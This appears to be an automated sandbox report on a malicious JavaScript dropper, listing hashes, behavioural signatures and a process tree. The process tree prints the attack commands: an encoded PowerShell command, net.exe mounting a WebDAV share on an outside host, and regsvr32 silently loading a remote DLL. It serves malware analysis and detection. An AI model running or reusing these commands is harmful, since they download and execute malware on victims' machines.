Analysis

  • max time kernel
    144s
  • max time network
    128s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    20/08/2024, 14:20

General

  • Target

    0380fc164c82e739b5d71aecc0f6b7bfc413c3045d806c2ff8ff92ed19381ff0.js

  • Size

    10KB

  • MD5

    0db69c09ca656d29739ab455d29f555f

  • SHA1

    6bd9f32c39dbacc3837a7f8c4b01c56c0c510f89

  • SHA256

    0380fc164c82e739b5d71aecc0f6b7bfc413c3045d806c2ff8ff92ed19381ff0

  • SHA512

    dab15ca3a86a7754f9481f834f45cbe0f0ea947a231a00bade052ee867355e6c76022b985c782e3d233d14d79121bd3d7d6dbe05225a173e7e35ff81323da844

  • SSDEEP

    48:aVwyIgKyo7catLFvVK1mgJvFZvcblNauIpGXpzJMk7OgHrFOoe7OgHrFOVFQ:ukRcy9VM3mKZ

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\0380fc164c82e739b5d71aecc0f6b7bfc413c3045d806c2ff8ff92ed19381ff0.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4988
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand bgBlAHQAIAB1AHMAZQAgAFwAXABkAGEAaQBsAHkAdwBlAGIAcwB0AGEAdABzAC4AYwBvAG0AQAA4ADgAOAA4AFwAZABhAHYAdwB3AHcAcgBvAG8AdABcACAAOwAgAHIAZQBnAHMAdgByADMAMgAgAC8AcwAgAFwAXABkAGEAaQBsAHkAdwBlAGIAcwB0AGEAdABzAC4AYwBvAG0AQAA4ADgAOAA4AFwAZABhAHYAdwB3AHcAcgBvAG8AdABcADIANAAzADMAMwA0ADYAMAA5ADQAMQAyADEALgBkAGwAbAA=
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2464
      • C:\Windows\system32\net.exe
        "C:\Windows\system32\net.exe" use \\dailywebstats.com@8888\davwwwroot\
        3⤵
          PID:4828
        • C:\Windows\system32\regsvr32.exe
          "C:\Windows\system32\regsvr32.exe" /s \\dailywebstats.com@8888\davwwwroot\2433346094121.dll
          3⤵
            PID:2888

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bngr0etp.r2v.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • memory/2464-0-0x00007FFF9EEC3000-0x00007FFF9EEC5000-memory.dmp

        Filesize

        8KB

      • memory/2464-10-0x00000188EDC10000-0x00000188EDC32000-memory.dmp

        Filesize

        136KB

      • memory/2464-11-0x00007FFF9EEC0000-0x00007FFF9F981000-memory.dmp

        Filesize

        10.8MB

      • memory/2464-12-0x00007FFF9EEC0000-0x00007FFF9F981000-memory.dmp

        Filesize

        10.8MB

      • memory/2464-15-0x00007FFF9EEC0000-0x00007FFF9F981000-memory.dmp

        Filesize

        10.8MB